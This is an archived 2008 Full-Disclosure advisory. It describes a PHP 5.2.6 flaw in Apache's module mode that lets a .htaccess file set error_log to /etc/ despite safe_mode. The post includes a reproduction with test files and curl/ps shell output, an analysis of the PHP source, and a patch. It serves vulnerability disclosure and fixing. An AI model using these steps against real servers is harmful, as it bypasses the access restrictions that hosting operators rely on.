lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: Sat, 06 Dec 2008 20:37:05 +0100
From: Maksymilian Arciemowicz <cxib@...urityreason.com>
To: full-disclosure@...ts.grok.org.uk
Subject: SecurityReason: PHP 5.2.6 SAPI php_getuid()
	overload

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

[ SecurityReason.com : PHP 5.2.6 SAPI php_getuid() overload ]

Author: Maksymilian Arciemowicz
securityreason.com
Date:
- - Written: 20.11.2008
- - Public: 05.12.2008

SecurityReason Research
SecurityAlert Id: 59

SecurityRisk: High

Affected Software: PHP 5.2.6
Advisory URL: http://securityreason.com/achievement_securityalert/59
Vendor: http://www.php.net

- --- 0.Description ---
PHP is an HTML-embedded scripting language. Much of its syntax is
borrowed from C, Java and Perl with a couple of unique PHP-specific
features thrown in. The goal of the language is to allow web developers
to write dynamically generated pages quickly.

http://pl.php.net/manual/pl/refs.utilspec.server.php

- --- 1.PHP 5.2.6 SAPI php_getuid() overload ---

Using PHP 5.2.6, as a Apache module can bypass many security points. To
understand this issue, first we need know, where is the problem.

127# cd /www/trafka
127# ls -la
total 12
drwxr-xr-x  2 www  www  512 Sep 10 03:49 .
drwxr-xr-x  4 www  www  512 Sep 10 03:41 ..
- -rw-r--r--  1 www  www   26 Sep 10 03:49 .htaccess
- -rw-r--r--  1 www  www   33 Sep 10 03:49 not.php
- -rw-r--r--  1 www  www  107 Sep 10 03:49 pufff.php
- -rw-r--r--  1 www  www   27 Sep 10 03:49 sleep.php
127# cat .htaccess
php_value       error_log       /etc/
127# cat not.php
<?php
    echo "only echo\n";
?>
127# cat pufff.php
<?php
    echo "safe_mode=".ini_get("safe_mode")."\n";
    echo "error_log=".ini_get("error_log")."\n";
?>
127# cat sleep.php
<?php
    sleep(60*2);
?>
127# apachectl restart
/usr/local/sbin/apachectl restart: httpd restarted
127# curl http://localhost/trafka/pufff.php
safe_mode=1
error_log=/etc/
127# curl http://localhost/trafka/not.php
only echo
127# curl http://localhost/trafka/not.php
only echo
127# curl http://localhost/trafka/not.php
only echo
127# curl http://localhost/trafka/not.php
only echo
127# curl http://localhost/trafka/not.php
only echo
127# curl http://localhost/trafka/pufff.php
safe_mode=1
error_log=
127#

Now error_log is empty

Example exploit:

127# curl http://localhost/trafka/pufff.php
safe_mode=1
error_log=
127# curl http://localhost/trafka/sleep.php
^C
127# curl http://localhost/trafka/sleep.php
^C
127# curl http://localhost/trafka/sleep.php
^C
127# curl http://localhost/trafka/sleep.php
^C
127# curl http://localhost/trafka/sleep.php
^C
127# curl http://localhost/trafka/pufff.php
safe_mode=1
error_log=/etc/


any new "apache child" process, allow overload environment like error_log.


127# apachectl restart
/usr/local/sbin/apachectl restart: httpd restarted
127# ps -aux -U www
USER   PID %CPU %MEM   VSZ   RSS  TT  STAT STARTED      TIME COMMAND
www   6361  0.0  0.5 18676 14248  ??  S     4:01AM   0:00.00
/usr/local/sbin/httpd
www   6362  0.0  0.5 18676 14248  ??  S     4:01AM   0:00.00
/usr/local/sbin/httpd
www   6363  0.0  0.5 18676 14248  ??  S     4:01AM   0:00.00
/usr/local/sbin/httpd
www   6364  0.0  0.5 18676 14248  ??  S     4:01AM   0:00.00
/usr/local/sbin/httpd
www   6365  0.0  0.5 18676 14248  ??  S     4:01AM   0:00.00
/usr/local/sbin/httpd
127# curl http://localhost/trafka/pufff.php
safe_mode=1
error_log=/etc/
127# ps -aux -U www
USER   PID %CPU %MEM   VSZ   RSS  TT  STAT STARTED      TIME COMMAND
www   6361  0.0  0.5 18676 14288  ??  S     4:01AM   0:00.00
/usr/local/sbin/httpd
www   6362  0.0  0.5 18676 14248  ??  S     4:01AM   0:00.00
/usr/local/sbin/httpd
www   6363  0.0  0.5 18676 14248  ??  S     4:01AM   0:00.00
/usr/local/sbin/httpd
www   6364  0.0  0.5 18676 14248  ??  S     4:01AM   0:00.00
/usr/local/sbin/httpd
www   6365  0.0  0.5 18676 14248  ??  S     4:01AM   0:00.00
/usr/local/sbin/httpd
127# curl http://localhost/trafka/pufff.php
safe_mode=1
error_log=/etc/
127# curl http://localhost/trafka/pufff.php
safe_mode=1
error_log=/etc/
127# curl http://localhost/trafka/pufff.php
safe_mode=1
error_log=/etc/
127# curl http://localhost/trafka/pufff.php
safe_mode=1
error_log=/etc/
127# curl http://localhost/trafka/pufff.php
safe_mode=1
error_log=
127# curl http://localhost/trafka/pufff.php
safe_mode=1
error_log=
127# ps -aux -U www
USER   PID %CPU %MEM   VSZ   RSS  TT  STAT STARTED      TIME COMMAND
www   6361  0.0  0.5 18676 14288  ??  S     4:01AM   0:00.00
/usr/local/sbin/httpd
www   6362  0.0  0.5 18676 14288  ??  S     4:01AM   0:00.00
/usr/local/sbin/httpd
www   6363  0.0  0.5 18676 14288  ??  S     4:01AM   0:00.00
/usr/local/sbin/httpd
www   6364  0.0  0.5 18676 14288  ??  S     4:01AM   0:00.00
/usr/local/sbin/httpd
www   6365  0.0  0.5 18676 14288  ??  S     4:01AM   0:00.00
/usr/local/sbin/httpd
127#So what is wrong?
	
Let's try to understand this problem. Let's start with a difference

www   6361  0.0  0.5 18676 14248  ??  S     4:01AM   0:00.00
/usr/local/sbin/httpd

and

www   6361  0.0  0.5 18676 14288  ??  S     4:01AM   0:00.00
/usr/local/sbin/httpd

RSS: 14288-14248 = 40

memory leak? No.

In first request, we have declared error_log, via .htaccess.

- --- main/main.c ---
...
STD_PHP_INI_ENTRY("error_log",				NULL,		PHP_INI_ALL,	
OnUpdateErrorLog,			error_log,				php_core_globals,	core_globals)
...
- --- main/main.c ---


goto OnUpdateErrorLog


- --- main/main.c ---
...
static PHP_INI_MH(OnUpdateErrorLog)
{
	/* Only do the safemode/open_basedir check at runtime */
	if ((stage == PHP_INI_STAGE_RUNTIME || stage == PHP_INI_STAGE_HTACCESS) &&
		strcmp(new_value, "syslog")) {
		if (PG(safe_mode) && (!php_checkuid(new_value, NULL,
CHECKUID_CHECK_FILE_AND_DIR))) {
			return FAILURE;
		}

		if (PG(open_basedir) && php_check_open_basedir(new_value TSRMLS_CC)) {
			return FAILURE;
		}

	}
	OnUpdateString(entry, new_value, new_value_length, mh_arg1, mh_arg2,
mh_arg3, stage TSRMLS_CC);
	return SUCCESS;
}
...
- --- main/main.c ---


(!php_checkuid(new_value, NULL, CHECKUID_CHECK_FILE_AND_DIR)) <==> False

deeper into safe_mode.c, function php_checkuid()


- --- main/safe_mode.c ---
...
			uid = sb.st_uid;
			gid = sb.st_gid;
			if (uid == php_getuid()) {
				return 1;
...
		duid = sb.st_uid;
		dgid = sb.st_gid;
		if (duid == php_getuid()) {
...
- --- main/safe_mode.c ---


php_getuid() does not return the correct value at the time of checking
safe_mode
for "/etc/"

First request
uid = php_getuid() <==> True
0 <=> uid <=> php_getuid() <==> True

Next request:
uid = php_getuid() <==> False
0 <=> 80 <==> False

because
80 (www uid) = php_getuid()
0 = uid (/etc/ owned by root)


- --- ext/standard/pageinfo.h ---
...
extern long php_getuid(void);
...
- --- ext/standard/pageinfo.h ---

- --- ext/standard/pageinfo.c ---
...
long php_getuid(void)
{
	TSRMLS_FETCH();

	php_statpage(TSRMLS_C);
	return (BG(page_uid));
}
...
- --- ext/standard/pageinfo.c ---

- --- ext/standard/pageinfo.c ---
...
	pstat = sapi_get_stat(TSRMLS_C);

	if (BG(page_uid)==-1 || BG(page_gid)==-1) {
		if(pstat) {
			BG(page_uid)   = pstat->st_uid;
...
- --- ext/standard/pageinfo.c ---


php_getuid() will return corrected value, after first request.

Let's see to SAPI.c


- --- SAPI.c ---
...
SAPI_API struct stat *sapi_get_stat(TSRMLS_D)
{
	if (sapi_module.get_stat) {
		return sapi_module.get_stat(TSRMLS_C);
...
- --- SAPI.c ---


for apache 1.3.41, mod_php5.c

- --- mod_php5.c ---
...
/* {{{ php_apache_get_stat
 */
static struct stat *php_apache_get_stat(TSRMLS_D)
{
	return &((request_rec *) SG(server_context))->finfo;
}
...
- --- mod_php5.c ---

SG(server_context) <=> 0x0

that same situation in sapi_apache2.c for Apache2


Where is problem? In:

if (BG(page_uid)==-1 || BG(page_gid)==-1)

For varibles in .htaccess, BG(page_uid) isn't set.


(BG(page_uid)==-1 || BG(page_gid)==-1) <==> False

=>

( BG(page_uid) <=> 0 <=> BG(page_gid) ) <==> True



uid(0) <=> root

for the values of the .htaccess

	
This analysis was for variable error_log. We can not determine all the
possible use of this error. 	

There are other potential uses this issue. SecurityReason is not going
to release a official exploit to the general public.

- --- 2. How to fix (proof) ---
5.2.7

proof:

0 Step. Add, into main/main.c
- --
static PHP_INI_MH(OnUpdateErrorLog)
{
	/* Only do the safemode/open_basedir check at runtime */
+	BG(page_uid)=-2; // -2 isnt registred
+	BG(page_gid)=-2; // -2 isnt registred
- --

1 Step. Add, into pageinfo.c, end of the main loop in php_statpage()
- ---
- -	}
+	} else if (BG(page_uid)==-2 || BG(page_gid)==-2) {
+		BG(page_uid) = getuid();
+		BG(page_gid) = getgid();
+	}
- ---

It is fix ONLY for error_log in .htaccess.

Official fix
http://cvs.php.net/viewvc.cgi/php-src/sapi/apache/mod_php5.c?r1=1.19.2.7.2.15&r2=1.19.2.7.2.16&diff_format=u
http://cvs.php.net/viewvc.cgi/php-src/ext/standard/basic_functions.c?r1=1.725.2.31.2.78&r2=1.725.2.31.2.79&diff_format=u
http://cvs.php.net/viewvc.cgi/php-src/NEWS?r1=1.2027.2.547.2.1340&r2=1.2027.2.547.2.1341&diff_format=u

- --- 3. Greets ---
Stanislav Malyshev sp3x Chujwamwdupe p_e_a schain pi3 Infospec

- --- 4. Contact ---
Author: SecurityReason [ Maksymilian Arciemowicz ]
Email: cxib [at] securityreason [dot] com
GPG: http://securityreason.pl/key/Arciemowicz.Maksymilian.gpg
http://securityreason.com
http://securityreason.pl
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (OpenBSD)

iEYEARECAAYFAkk5OIQACgkQpiCeOKaYa9a95wCgiTT2Fl6SNQbFDnHWyQTtlkG8
g0gAoJzijUB94mtnCGlK/7/cFDw9R2gD
=Q0rV
-----END PGP SIGNATURE-----

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ